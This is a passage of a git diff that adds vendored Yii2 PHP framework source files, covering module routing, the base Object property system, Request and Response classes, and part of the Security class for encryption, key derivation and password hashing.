~~~ + * + * @param array $modules modules (id => module configuration or instances) + */ + public function setModules($modules) + { + foreach ($modules as $id => $module) { + $this->_modules[$id] = $module; + } + } + + /** + * Runs a controller action specified by a route. + * This method parses the specified route and creates the corresponding child module(s), controller and action + * instances. It then calls [[Controller::runAction()]] to run the action with the given parameters. + * If the route is empty, the method will use [[defaultRoute]]. + * @param string $route the route that specifies the action. + * @param array $params the parameters to be passed to the action + * @return mixed the result of the action. + * @throws InvalidRouteException if the requested route cannot be resolved into an action successfully + */ + public function runAction($route, $params = []) + { + $parts = $this->createController($route); + if (is_array($parts)) { + /* @var $controller Controller */ + list($controller, $actionID) = $parts; + $oldController = Yii::$app->controller; + Yii::$app->controller = $controller; + $result = $controller->runAction($actionID, $params); + Yii::$app->controller = $oldController; + + return $result; + } else { + $id = $this->getUniqueId(); + throw new InvalidRouteException('Unable to resolve the request "' . ($id === '' ? $route : $id . '/' . $route) . '".'); + } + } + + /** + * Creates a controller instance based on the given route. + * + * The route should be relative to this module. The method implements the following algorithm + * to resolve the given route: + * + * 1. If the route is empty, use [[defaultRoute]]; + * 2. If the first segment of the route is a valid module ID as declared in [[modules]], + * call the module's `createController()` with the rest part of the route; + * 3. If the first segment of the route is found in [[controllerMap]], create a controller + * based on the corresponding configuration found in [[controllerMap]]; + * 4. The given route is in the format of `abc/def/xyz`. Try either `abc\DefController` + * or `abc\def\XyzController` class within the [[controllerNamespace|controller namespace]]. + * + * If any of the above steps resolves into a controller, it is returned together with the rest + * part of the route which will be treated as the action ID. Otherwise, false will be returned. + * + * @param string $route the route consisting of module, controller and action IDs. + * @return array|boolean If the controller is created successfully, it will be returned together + * with the requested action ID. Otherwise false will be returned. + * @throws InvalidConfigException if the controller class and its file do not match. + */ + public function createController($route) + { + if ($route === '') { + $route = $this->defaultRoute; + } + + // double slashes or leading/ending slashes may cause substr problem + $route = trim($route, '/'); + if (strpos($route, '//') !== false) { + return false; + } + + if (strpos($route, '/') !== false) { + list ($id, $route) = explode('/', $route, 2); + } else { + $id = $route; + $route = ''; + } + + // module and controller map take precedence + if (isset($this->controllerMap[$id])) { + $controller = Yii::createObject($this->controllerMap[$id], [$id, $this]); + return [$controller, $route]; + } + $module = $this->getModule($id); + if ($module !== null) { + return $module->createController($route); + } + + if (($pos = strrpos($route, '/')) !== false) { + $id .= '/' . substr($route, 0, $pos); + $route = substr($route, $pos + 1); + } + + $controller = $this->createControllerByID($id); + if ($controller === null && $route !== '') { + $controller = $this->createControllerByID($id . '/' . $route); + $route = ''; + } + + return $controller === null ? false : [$controller, $route]; + } + + /** + * Creates a controller based on the given controller ID. + * + * The controller ID is relative to this module. The controller class + * should be namespaced under [[controllerNamespace]]. + * + * Note that this method does not check [[modules]] or [[controllerMap]]. + * + * @param string $id the controller ID + * @return Controller the newly created controller instance, or null if the controller ID is invalid. + * @throws InvalidConfigException if the controller class and its file name do not match. + * This exception is only thrown when in debug mode. + */ + public function createControllerByID($id) + { + $pos = strrpos($id, '/'); + if ($pos === false) { + $prefix = ''; + $className = $id; + } else { + $prefix = substr($id, 0, $pos + 1); + $className = substr($id, $pos + 1); + } + + if (!preg_match('%^[a-z][a-z0-9\\-_]*$%', $className)) { + return null; + } + if ($prefix !== '' && !preg_match('%^[a-z0-9_/]+$%i', $prefix)) { + return null; + } + + $className = str_replace(' ', '', ucwords(str_replace('-', ' ', $className))) . 'Controller'; + $className = ltrim($this->controllerNamespace . '\\' . str_replace('/', '\\', $prefix) . $className, '\\'); + if (strpos($className, '-') !== false || !class_exists($className)) { + return null; + } + + if (is_subclass_of($className, 'yii\base\Controller')) { + return Yii::createObject($className, [$id, $this]); + } elseif (YII_DEBUG) { + throw new InvalidConfigException("Controller class must extend from \\yii\\base\\Controller."); + } else { + return null; + } + } + + /** + * This method is invoked right before an action within this module is executed. + * + * The method will trigger the [[EVENT_BEFORE_ACTION]] event. The return value of the method + * will determine whether the action should continue to run. + * + * If you override this method, your code should look like the following: + * + * ```php + * public function beforeAction($action) + * { + * if (parent::beforeAction($action)) { + * // your custom code here + * return true; // or false if needed + * } else { + * return false; + * } + * } + * ``` + * + * @param Action $action the action to be executed. + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + $event = new ActionEvent($action); + $this->trigger(self::EVENT_BEFORE_ACTION, $event); + return $event->isValid; + } + + /** + * This method is invoked right after an action within this module is executed. + * + * The method will trigger the [[EVENT_AFTER_ACTION]] event. The return value of the method + * will be used as the action return value. + * + * If you override this method, your code should look like the following: + * + * ```php + * public function afterAction($action, $result) + * { + * $result = parent::afterAction($action, $result); + * // your custom code here + * return $result; + * } + * ``` + * + * @param Action $action the action just executed. + * @param mixed $result the action return result. + * @return mixed the processed action result. + */ + public function afterAction($action, $result) + { + $event = new ActionEvent($action); + $event->result = $result; + $this->trigger(self::EVENT_AFTER_ACTION, $event); + return $event->result; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/NotSupportedException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/NotSupportedException.php new file mode 100644 index 00000000..d5832c62 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/NotSupportedException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class NotSupportedException extends Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Not Supported'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Object.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Object.php new file mode 100644 index 00000000..73e42408 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Object.php @@ -0,0 +1,288 @@ +_label; + * } + * + * public function setLabel($value) + * { + * $this->_label = $value; + * } + * ~~~ + * + * Property names are *case-insensitive*. + * + * A property can be accessed like a member variable of an object. Reading or writing a property will cause the invocation + * of the corresponding getter or setter method. For example, + * + * ~~~ + * // equivalent to $label = $object->getLabel(); + * $label = $object->label; + * // equivalent to $object->setLabel('abc'); + * $object->label = 'abc'; + * ~~~ + * + * If a property has only a getter method and has no setter method, it is considered as *read-only*. In this case, trying + * to modify the property value will cause an exception. + * + * One can call [[hasProperty()]], [[canGetProperty()]] and/or [[canSetProperty()]] to check the existence of a property. + * + * Besides the property feature, Object also introduces an important object initialization life cycle. In particular, + * creating an new instance of Object or its derived class will involve the following life cycles sequentially: + * + * 1. the class constructor is invoked; + * 2. object properties are initialized according to the given configuration; + * 3. the `init()` method is invoked. + * + * In the above, both Step 2 and 3 occur at the end of the class constructor. It is recommended that + * you perform object initialization in the `init()` method because at that stage, the object configuration + * is already applied. + * + * In order to ensure the above life cycles, if a child class of Object needs to override the constructor, + * it should be done like the following: + * + * ~~~ + * public function __construct($param1, $param2, ..., $config = []) + * { + * ... + * parent::__construct($config); + * } + * ~~~ + * + * That is, a `$config` parameter (defaults to `[]`) should be declared as the last parameter + * of the constructor, and the parent implementation should be called at the end of the constructor. + * + * @author Qiang Xue + * @since 2.0 + */ +class Object +{ + /** + * Returns the fully qualified name of this class. + * @return string the fully qualified name of this class. + */ + public static function className() + { + return get_called_class(); + } + + /** + * Constructor. + * The default implementation does two things: + * + * - Initializes the object with the given configuration `$config`. + * - Call [[init()]]. + * + * If this method is overridden in a child class, it is recommended that + * + * - the last parameter of the constructor is a configuration array, like `$config` here. + * - call the parent implementation at the end of the constructor. + * + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($config = []) + { + if (!empty($config)) { + Yii::configure($this, $config); + } + $this->init(); + } + + /** + * Initializes the object. + * This method is invoked at the end of the constructor after the object is initialized with the + * given configuration. + */ + public function init() + { + } + + /** + * Returns the value of an object property. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `$value = $object->property;`. + * @param string $name the property name + * @return mixed the property value + * @throws UnknownPropertyException if the property is not defined + * @throws InvalidCallException if the property is write-only + * @see __set() + */ + public function __get($name) + { + $getter = 'get' . $name; + if (method_exists($this, $getter)) { + return $this->$getter(); + } elseif (method_exists($this, 'set' . $name)) { + throw new InvalidCallException('Getting write-only property: ' . get_class($this) . '::' . $name); + } else { + throw new UnknownPropertyException('Getting unknown property: ' . get_class($this) . '::' . $name); + } + } + + /** + * Sets value of an object property. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `$object->property = $value;`. + * @param string $name the property name or the event name + * @param mixed $value the property value + * @throws UnknownPropertyException if the property is not defined + * @throws InvalidCallException if the property is read-only + * @see __get() + */ + public function __set($name, $value) + { + $setter = 'set' . $name; + if (method_exists($this, $setter)) { + $this->$setter($value); + } elseif (method_exists($this, 'get' . $name)) { + throw new InvalidCallException('Setting read-only property: ' . get_class($this) . '::' . $name); + } else { + throw new UnknownPropertyException('Setting unknown property: ' . get_class($this) . '::' . $name); + } + } + + /** + * Checks if the named property is set (not null). + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `isset($object->property)`. + * + * Note that if the property is not defined, false will be returned. + * @param string $name the property name or the event name + * @return boolean whether the named property is set (not null). + */ + public function __isset($name) + { + $getter = 'get' . $name; + if (method_exists($this, $getter)) { + return $this->$getter() !== null; + } else { + return false; + } + } + + /** + * Sets an object property to null. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `unset($object->property)`. + * + * Note that if the property is not defined, this method will do nothing. + * If the property is read-only, it will throw an exception. + * @param string $name the property name + * @throws InvalidCallException if the property is read only. + */ + public function __unset($name) + { + $setter = 'set' . $name; + if (method_exists($this, $setter)) { + $this->$setter(null); + } elseif (method_exists($this, 'get' . $name)) { + throw new InvalidCallException('Unsetting read-only property: ' . get_class($this) . '::' . $name); + } + } + + /** + * Calls the named method which is not a class method. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when an unknown method is being invoked. + * @param string $name the method name + * @param array $params method parameters + * @throws UnknownMethodException when calling unknown method + * @return mixed the method return value + */ + public function __call($name, $params) + { + throw new UnknownMethodException('Calling unknown method: ' . get_class($this) . "::$name()"); + } + + /** + * Returns a value indicating whether a property is defined. + * A property is defined if: + * + * - the class has a getter or setter method associated with the specified name + * (in this case, property name is case-insensitive); + * - the class has a member variable with the specified name (when `$checkVars` is true); + * + * @param string $name the property name + * @param boolean $checkVars whether to treat member variables as properties + * @return boolean whether the property is defined + * @see canGetProperty() + * @see canSetProperty() + */ + public function hasProperty($name, $checkVars = true) + { + return $this->canGetProperty($name, $checkVars) || $this->canSetProperty($name, false); + } + + /** + * Returns a value indicating whether a property can be read. + * A property is readable if: + * + * - the class has a getter method associated with the specified name + * (in this case, property name is case-insensitive); + * - the class has a member variable with the specified name (when `$checkVars` is true); + * + * @param string $name the property name + * @param boolean $checkVars whether to treat member variables as properties + * @return boolean whether the property can be read + * @see canSetProperty() + */ + public function canGetProperty($name, $checkVars = true) + { + return method_exists($this, 'get' . $name) || $checkVars && property_exists($this, $name); + } + + /** + * Returns a value indicating whether a property can be set. + * A property is writable if: + * + * - the class has a setter method associated with the specified name + * (in this case, property name is case-insensitive); + * - the class has a member variable with the specified name (when `$checkVars` is true); + * + * @param string $name the property name + * @param boolean $checkVars whether to treat member variables as properties + * @return boolean whether the property can be written + * @see canGetProperty() + */ + public function canSetProperty($name, $checkVars = true) + { + return method_exists($this, 'set' . $name) || $checkVars && property_exists($this, $name); + } + + /** + * Returns a value indicating whether a method is defined. + * + * The default implementation is a call to php function `method_exists()`. + * You may override this method when you implemented the php magic method `__call()`. + * @param string $name the property name + * @return boolean whether the property is defined + */ + public function hasMethod($name) + { + return method_exists($this, $name); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Request.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Request.php new file mode 100644 index 00000000..3fdfd4d6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Request.php @@ -0,0 +1,86 @@ + + * @since 2.0 + */ +abstract class Request extends Component +{ + private $_scriptFile; + private $_isConsoleRequest; + + + /** + * Resolves the current request into a route and the associated parameters. + * @return array the first element is the route, and the second is the associated parameters. + */ + abstract public function resolve(); + + /** + * Returns a value indicating whether the current request is made via command line + * @return boolean the value indicating whether the current request is made via console + */ + public function getIsConsoleRequest() + { + return $this->_isConsoleRequest !== null ? $this->_isConsoleRequest : PHP_SAPI === 'cli'; + } + + /** + * Sets the value indicating whether the current request is made via command line + * @param boolean $value the value indicating whether the current request is made via command line + */ + public function setIsConsoleRequest($value) + { + $this->_isConsoleRequest = $value; + } + + /** + * Returns entry script file path. + * @return string entry script file path (processed w/ realpath()) + * @throws InvalidConfigException if the entry script file path cannot be determined automatically. + */ + public function getScriptFile() + { + if ($this->_scriptFile === null) { + if (isset($_SERVER['SCRIPT_FILENAME'])) { + $this->setScriptFile($_SERVER['SCRIPT_FILENAME']); + } else { + throw new InvalidConfigException('Unable to determine the entry script file path.'); + } + } + + return $this->_scriptFile; + } + + /** + * Sets the entry script file path. + * The entry script file path can normally be determined based on the `SCRIPT_FILENAME` SERVER variable. + * However, for some server configurations, this may not be correct or feasible. + * This setter is provided so that the entry script file path can be manually specified. + * @param string $value the entry script file path. This can be either a file path or a path alias. + * @throws InvalidConfigException if the provided entry script file path is invalid. + */ + public function setScriptFile($value) + { + $scriptFile = realpath(Yii::getAlias($value)); + if ($scriptFile !== false && is_file($scriptFile)) { + $this->_scriptFile = $scriptFile; + } else { + throw new InvalidConfigException('Unable to determine the entry script file path.'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Response.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Response.php new file mode 100644 index 00000000..043ffe93 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Response.php @@ -0,0 +1,44 @@ + + * @since 2.0 + */ +class Response extends Component +{ + /** + * @var integer the exit status. Exit statuses should be in the range 0 to 254. + * The status 0 means the program terminates successfully. + */ + public $exitStatus = 0; + + + /** + * Sends the response to client. + */ + public function send() + { + } + + /** + * Removes all existing output buffers. + */ + public function clearOutputBuffers() + { + // the following manual level counting is to deal with zlib.output_compression set to On + for ($level = ob_get_level(); $level > 0; --$level) { + if (!@ob_end_clean()) { + ob_clean(); + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Security.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Security.php new file mode 100644 index 00000000..103288ff --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Security.php @@ -0,0 +1,630 @@ + Note: this class requires 'mcrypt' PHP extension. For the highest security level PHP version >= 5.5.0 is recommended. + * + * @author Qiang Xue + * @author Tom Worster + * @author Klimov Paul + * @since 2.0 + */ +class Security extends Component +{ + /** + * Cipher algorithm for mcrypt module. + * AES has 128-bit block size and three key sizes: 128, 192 and 256 bits. + * mcrypt offers the Rijndael cipher with block sizes of 128, 192 and 256 + * bits but only the 128-bit Rijndael is standardized in AES. + * So to use AES in mycrypt, specify `'rijndael-128'` cipher and mcrypt + * chooses the appropriate AES based on the length of the supplied key. + */ + const MCRYPT_CIPHER = 'rijndael-128'; + /** + * Block cipher operation mode for mcrypt module. + */ + const MCRYPT_MODE = 'cbc'; + /** + * Size in bytes of encryption key, message authentication key and KDF salt. + */ + const KEY_SIZE = 16; + /** + * Hash algorithm for key derivation. + */ + const KDF_HASH = 'sha256'; + /** + * Hash algorithm for message authentication. + */ + const MAC_HASH = 'sha256'; + /** + * HKDF info value for derivation of message authentication key. + */ + const AUTH_KEY_INFO = 'AuthorizationKey'; + + /** + * @var integer derivation iterations count. + * Set as high as possible to hinder dictionary password attacks. + */ + public $derivationIterations = 100000; + /** + * @var string strategy, which should be used to generate password hash. + * Available strategies: + * - 'password_hash' - use of PHP `password_hash()` function with PASSWORD_DEFAULT algorithm. + * This option is recommended, but it requires PHP version >= 5.5.0 + * - 'crypt' - use PHP `crypt()` function. + */ + public $passwordHashStrategy = 'crypt'; + + private $_cryptModule; + + + /** + * Encrypts data using a password. + * Derives keys for encryption and authentication from the password using PBKDF2 and a random salt, + * which is deliberately slow to protect against dictionary attacks. Use [[encryptByKey()]] to + * encrypt fast using a cryptographic key rather than a password. Key derivation time is + * determined by [[$derivationIterations]], which should be set as high as possible. + * The encrypted data includes a keyed message authentication code (MAC) so there is no need + * to hash input or output data. + * > Note: Avoid encrypting with passwords wherever possible. Nothing can protect against + * poor-quality or compromosed passwords. + * @param string $data the data to encrypt + * @param string $password the password to use for encryption + * @return string the encrypted data + * @see decryptByPassword() + * @see encryptByKey() + */ + public function encryptByPassword($data, $password) + { + return $this->encrypt($data, true, $password, null); + } + + /** + * Encrypts data using a cryptograhic key. + * Derives keys for encryption and authentication from the input key using HKDF and a random salt, + * which is very fast relative to [[encryptByPassword()]]. The input key must be properly + * random -- use [[generateRandomKey()]] to generate keys. + * The encrypted data includes a keyed message authentication code (MAC) so there is no need + * to hash input or output data. + * @param string $data the data to encrypt + * @param string $inputKey the input to use for encryption and authentication + * @param string $info optional context and application specific information, see [[hkdf()]] + * @return string the encrypted data + * @see decryptByPassword() + * @see encryptByKey() + */ + public function encryptByKey($data, $inputKey, $info = null) + { + return $this->encrypt($data, false, $inputKey, $info); + } + + /** + * Verifies and decrypts data encrypted with [[encryptByPassword()]]. + * @param string $data the encrypted data to decrypt + * @param string $password the password to use for decryption + * @return bool|string the decrypted data or false on authentication failure + * @see encryptByPassword() + */ + public function decryptByPassword($data, $password) + { + return $this->decrypt($data, true, $password, null); + } + + /** + * Verifies and decrypts data encrypted with [[encryptByPassword()]]. + * @param string $data the encrypted data to decrypt + * @param string $inputKey the input to use for encryption and authentication + * @param string $info optional context and application specific information, see [[hkdf()]] + * @return bool|string the decrypted data or false on authentication failure + * @see encryptByKey() + */ + public function decryptByKey($data, $inputKey, $info = null) + { + return $this->decrypt($data, false, $inputKey, $info); + } + + /** + * Initializes the mcrypt module. + * @return resource the mcrypt module handle. + * @throws InvalidConfigException if mcrypt extension is not installed + * @throws Exception if mcrypt initialization fails + */ + protected function getCryptModule() + { + if ($this->_cryptModule === null) { + if (!extension_loaded('mcrypt')) { + throw new InvalidConfigException('The mcrypt PHP extension is not installed.'); + } + + $this->_cryptModule = @mcrypt_module_open(self::MCRYPT_CIPHER, '', self::MCRYPT_MODE, ''); + if ($this->_cryptModule === false) { + $this->_cryptModule = null; + throw new Exception('Failed to initialize the mcrypt module.'); + } + } + + return $this->_cryptModule; + } + + public function __destruct() + { + if ($this->_cryptModule !== null) { + mcrypt_module_close($this->_cryptModule); + $this->_cryptModule = null; + } + } + + + /** + * Encrypts data. + * @param string $data data to be encrypted + * @param bool $passwordBased set true to use password-based key derivation + * @param string $secret the encryption password or key + * @param string $info context/application specific information, e.g. a user ID + * See [RFC 5869 Section 3.2](https://tools.ietf.org/html/rfc5869#section-3.2) for more details. + * @return string the encrypted data + * @throws Exception if PHP Mcrypt extension is not loaded or failed to be initialized + * @see decrypt() + */ + protected function encrypt($data, $passwordBased, $secret, $info) + { + $module = $this->getCryptModule(); + + $keySalt = $this->generateRandomKey(self::KEY_SIZE); + if ($passwordBased) { + $key = $this->pbkdf2(self::KDF_HASH, $secret, $keySalt, $this->derivationIterations, self::KEY_SIZE); + } else { + $key = $this->hkdf(self::KDF_HASH, $secret, $keySalt, $info, self::KEY_SIZE); + } + + $data = $this->addPadding($data); + $ivSize = mcrypt_enc_get_iv_size($module); + $iv = mcrypt_create_iv($ivSize, MCRYPT_DEV_URANDOM); + mcrypt_generic_init($module, $key, $iv); + $encrypted = mcrypt_generic($module, $data); + mcrypt_generic_deinit($module); + + $authKey = $this->hkdf(self::KDF_HASH, $key, null, self::AUTH_KEY_INFO, self::KEY_SIZE); + $hashed = $this->hashData($iv . $encrypted, $authKey); + + /* + * Output: [keySalt][MAC][IV][ciphertext] + * - keySalt is KEY_SIZE bytes long + * - MAC: message authentication code, length same as the output of MAC_HASH + * - IV: initialization vector, length set by CRYPT_CIPHER and CRYPT_MODE, mcrypt_enc_get_iv_size() + */ + return $keySalt . $hashed; + } + + /** + * Decrypts data. + * @param string $data encrypted data to be decrypted. + * @param bool $passwordBased set true to use password-based key derivation + * @param string $secret the decryption password or key + * @param string $info context/application specific information, @see encrypt() + * @return bool|string the decrypted data or false on authentication failure + * @see encrypt() + */ + protected function decrypt($data, $passwordBased, $secret, $info) + { + $keySalt = StringHelper::byteSubstr($data, 0, self::KEY_SIZE); + if ($passwordBased) { + $key = $this->pbkdf2(self::KDF_HASH, $secret, $keySalt, $this->derivationIterations, self::KEY_SIZE); + } else { + $key = $this->hkdf(self::KDF_HASH, $secret, $keySalt, $info, self::KEY_SIZE); + } + + $authKey = $this->hkdf(self::KDF_HASH, $key, null, self::AUTH_KEY_INFO, self::KEY_SIZE); + $data = $this->validateData(StringHelper::byteSubstr($data, self::KEY_SIZE, null), $authKey); + if ($data === false) { + return false; + } + + $module = $this->getCryptModule(); + $ivSize = mcrypt_enc_get_iv_size($module); + $iv = StringHelper::byteSubstr($data, 0, $ivSize); + $encrypted = StringHelper::byteSubstr($data, $ivSize, null); + mcrypt_generic_init($module, $key, $iv); + $decrypted = mdecrypt_generic($module, $encrypted); + mcrypt_generic_deinit($module); + + return $this->stripPadding($decrypted); + } + + /** + * Adds a padding to the given data (PKCS #7). + * @param string $data the data to pad + * @return string the padded data + */ + protected function addPadding($data) + { + $module = $this->getCryptModule(); + $blockSize = mcrypt_enc_get_block_size($module); + $pad = $blockSize - (StringHelper::byteLength($data) % $blockSize); + + return $data . str_repeat(chr($pad), $pad); + } + + /** + * Strips the padding from the given data. + * @param string $data the data to trim + * @return string the trimmed data + */ + protected function stripPadding($data) + { + $end = StringHelper::byteSubstr($data, -1, null); + $last = ord($end); + $n = StringHelper::byteLength($data) - $last; + if (StringHelper::byteSubstr($data, $n, null) === str_repeat($end, $last)) { + return StringHelper::byteSubstr($data, 0, $n); + } + + return false; + } + + /** + * Derives a key from the given input key using the standard HKDF algorithm. + * Implements HKDF specified in [RFC 5869](https://tools.ietf.org/html/rfc5869). + * Recommend use one of the SHA-2 hash algorithms: sha224, sha256, sha384 or sha512. + * @param string $algo a hash algorithm supported by `hash_hmac()`, e.g. 'SHA-256' + * @param string $inputKey the source key + * @param string $salt the random salt + * @param string $info optional info to bind the derived key material to application- + * and context-specific information, e.g. a user ID or API version, see + * [RFC 5869](https://tools.ietf.org/html/rfc5869) + * @param int $length length of the output key in bytes. If 0, the output key is + * the length of the hash algorithm output. + * @throws InvalidParamException + * @return string the derived key + */ + public function hkdf($algo, $inputKey, $salt = null, $info = null, $length = 0) + { + $test = @hash_hmac($algo, '', '', true); + if (!$test) { + throw new InvalidParamException('Failed to generate HMAC with hash algorithm: ' . $algo); + } + $hashLength = StringHelper::byteLength($test); + if (is_string($length) && preg_match('{^\d{1,16}$}', $length)) { + $length = (int) $length; + } + if (!is_integer($length) || $length < 0 || $length > 255 * $hashLength) { + throw new InvalidParamException('Invalid length'); + } + $blocks = $length !== 0 ? ceil($length / $hashLength) : 1; + + if ($salt === null) { + $salt = str_repeat("\0", $hashLength); + } + $prKey = hash_hmac($algo, $inputKey, $salt, true); + + $hmac = ''; + $outputKey = ''; + for ($i = 1; $i <= $blocks; $i++) { + $hmac = hash_hmac($algo, $hmac . $info . chr($i), $prKey, true); + $outputKey .= $hmac; + } + + if ($length !== 0) { + $outputKey = StringHelper::byteSubstr($outputKey, 0, $length); + } + return $outputKey; + } + + /** + * Derives a key from the given password using the standard PBKDF2 algorithm. + * Implements HKDF2 specified in [RFC 2898](http://tools.ietf.org/html/rfc2898#section-5.2) + * Recommend use one of the SHA-2 hash algorithms: sha224, sha256, sha384 or sha512. + * @param string $algo a hash algorithm supported by `hash_hmac()`, e.g. 'SHA-256' + * @param string $password the source password + * @param string $salt the random salt + * @param int $iterations the number of iterations of the hash algorithm. Set as high as + * possible to hinder dictionary password attacks. + * @param int $length length of the output key in bytes. If 0, the output key is + * the length of the hash algorithm output. + * @throws InvalidParamException + * @return string the derived key + */ + public function pbkdf2($algo, $password, $salt, $iterations, $length = 0) + { + if (function_exists('hash_pbkdf2')) { + $outputKey = hash_pbkdf2($algo, $password, $salt, $iterations, $length, true); + if ($outputKey === false) { + throw new InvalidParamException('Invalid parameters to hash_pbkdf2()'); + } + return $outputKey; + } + + // todo: is there a nice way to reduce the code repetition in hkdf() and pbkdf2()? + $test = @hash_hmac($algo, '', '', true); + if (!$test) { + throw new InvalidParamException('Failed to generate HMAC with hash algorithm: ' . $algo); + } + if (is_string($iterations) && preg_match('{^\d{1,16}$}', $iterations)) { + $iterations = (int) $iterations; + } + if (!is_integer($iterations) || $iterations < 1) { + throw new InvalidParamException('Invalid iterations'); + } + if (is_string($length) && preg_match('{^\d{1,16}$}', $length)) { + $length = (int) $length; + } + if (!is_integer($length) || $length < 0) { + throw new InvalidParamException('Invalid length'); + } + $hashLength = StringHelper::byteLength($test); + $blocks = $length !== 0 ? ceil($length / $hashLength) : 1; + + $outputKey = ''; + for ($j = 1; $j <= $blocks; $j++) { + $hmac = hash_hmac($algo, $salt . pack('N', $j), $password, true); + $xorsum = $hmac; + for ($i = 1; $i < $iterations; $i++) { + $hmac = hash_hmac($algo, $hmac, $password, true); + $xorsum ^= $hmac; + } + $outputKey .= $xorsum; + } + + if ($length !== 0) { + $outputKey = StringHelper::byteSubstr($outputKey, 0, $length); + } + return $outputKey; + } + + /** + * Prefixes data with a keyed hash value so that it can later be detected if it is tampered. + * There is no need to hash inputs or outputs of [[encryptByKey()]] or [[encryptByPassword()]] + * as those methods perform the task. + * @param string $data the data to be protected + * @param string $key the secret key to be used for generating hash. Should be a secure + * cryptographic key. + * @param boolean $rawHash whether the generated hash value is in raw binary format. If false, lowercase + * hex digits will be generated. + * @throws InvalidConfigException + * @return string the data prefixed with the keyed hash + * @see validateData() + * @see generateRandomKey() + * @see hkdf() + * @see pbkdf2() + */ + public function hashData($data, $key, $rawHash = false) + { + $hash = hash_hmac(self::MAC_HASH, $data, $key, $rawHash); + if (!$hash) { + throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . self::MAC_HASH); + } + return $hash . $data; + } + + /** + * Validates if the given data is tampered. + * @param string $data the data to be validated. The data must be previously + * generated by [[hashData()]]. + * @param string $key the secret key that was previously used to generate the hash for the data in [[hashData()]]. + * function to see the supported hashing algorithms on your system. This must be the same + * as the value passed to [[hashData()]] when generating the hash for the data. + * @param boolean $rawHash this should take the same value as when you generate the data using [[hashData()]]. + * It indicates whether the hash value in the data is in binary format. If false, it means the hash value consists + * of lowercase hex digits only. + * hex digits will be generated. + * @throws InvalidConfigException + * @return string the real data with the hash stripped off. False if the data is tampered. + * @see hashData() + */ + public function validateData($data, $key, $rawHash = false) + { + $test = @hash_hmac(self::MAC_HASH, '', '', $rawHash); + if (!$test) { + throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . self::MAC_HASH); + } + $hashLength = StringHelper::byteLength($test); + if (StringHelper::byteLength($data) >= $hashLength) { + $hash = StringHelper::byteSubstr($data, 0, $hashLength); + $pureData = StringHelper::byteSubstr($data, $hashLength, null); + + $calculatedHash = hash_hmac(self::MAC_HASH, $pureData, $key, $rawHash); + + if ($this->compareString($hash, $calculatedHash)) { + return $pureData; + } + } + return false; + } + + /** + * Generates specified number of random bytes. + * Note that output may not be ASCII. + * @see generateRandomString() if you need a string. + * + * @param integer $length the number of bytes to generate + * @throws Exception on failure. + * @return string the generated random bytes + */ + public function generateRandomKey($length = 32) + { + if (!extension_loaded('mcrypt')) { + throw new InvalidConfigException('The mcrypt PHP extension is not installed.'); + } + $bytes = mcrypt_create_iv($length, MCRYPT_DEV_URANDOM); + if ($bytes === false) { + throw new Exception('Unable to generate random bytes.'); + } + return $bytes; + } + + /** + * Generates a random string of specified length. + * The string generated matches [A-Za-z0-9_-]+ and is transparent to URL-encoding. + * + * @param integer $length the length of the key in characters + * @throws Exception Exception on failure. + * @return string the generated random key + */ + public function generateRandomString($length = 32) + { + $bytes = $this->generateRandomKey($length); + // '=' character(s) returned by base64_encode() are always discarded because + // they are guaranteed to be after position $length in the base64_encode() output. + return strtr(substr(base64_encode($bytes), 0, $length), '+/', '_-'); + } + + /** + * Generates a secure hash from a password and a random salt. + * + * The generated hash can be stored in database. + * Later when a password needs to be validated, the hash can be fetched and passed + * to [[validatePassword()]]. For example, + * + * ~~~ + * // generates the hash (usually done during user registration or when the password is changed) + * $hash = Yii::$app->getSecurity()->generatePasswordHash($password); + * // ...save $hash in database... + * + * // during login, validate if the password entered is correct using $hash fetched from database + * if (Yii::$app->getSecurity()->validatePassword($password, $hash) { + * // password is good + * } else { + * // password is bad + * } + * ~~~ + * + * @param string $password The password to be hashed. + * @param integer $cost Cost parameter used by the Blowfish hash algorithm. + * The higher the value of cost, + * the longer it takes to generate the hash and to verify a password against it. Higher cost + * therefore slows down a brute-force attack. For best protection against brute for attacks, + * set it to the highest value that is tolerable on production servers. The time taken to + * compute the hash doubles for every increment by one of $cost. + * @throws Exception on bad password parameter or cost parameter + * @throws InvalidConfigException + * @return string The password hash string. When [[passwordHashStrategy]] is set to 'crypt', + * the output is always 60 ASCII characters, when set to 'password_hash' the output length + * might increase in future versions of PHP (http://php.net/manual/en/function.password-hash.php) + * @see validatePassword() + */ + public function generatePasswordHash($password, $cost = 13) + { + switch ($this->passwordHashStrategy) { + case 'password_hash': + if (!function_exists('password_hash')) { + throw new InvalidConfigException('Password hash key strategy "password_hash" requires PHP >= 5.5.0, either upgrade your environment or use another strategy.'); + } + /** @noinspection PhpUndefinedConstantInspection */ + return password_hash($password, PASSWORD_DEFAULT, ['cost' => $cost]); + case 'crypt': + $salt = $this->generateSalt($cost); + $hash = crypt($password, $salt); + // strlen() is safe since crypt() returns only ascii + if (!is_string($hash) || strlen($hash) !== 60) { + throw new Exception('Unknown error occurred while generating hash.'); + } 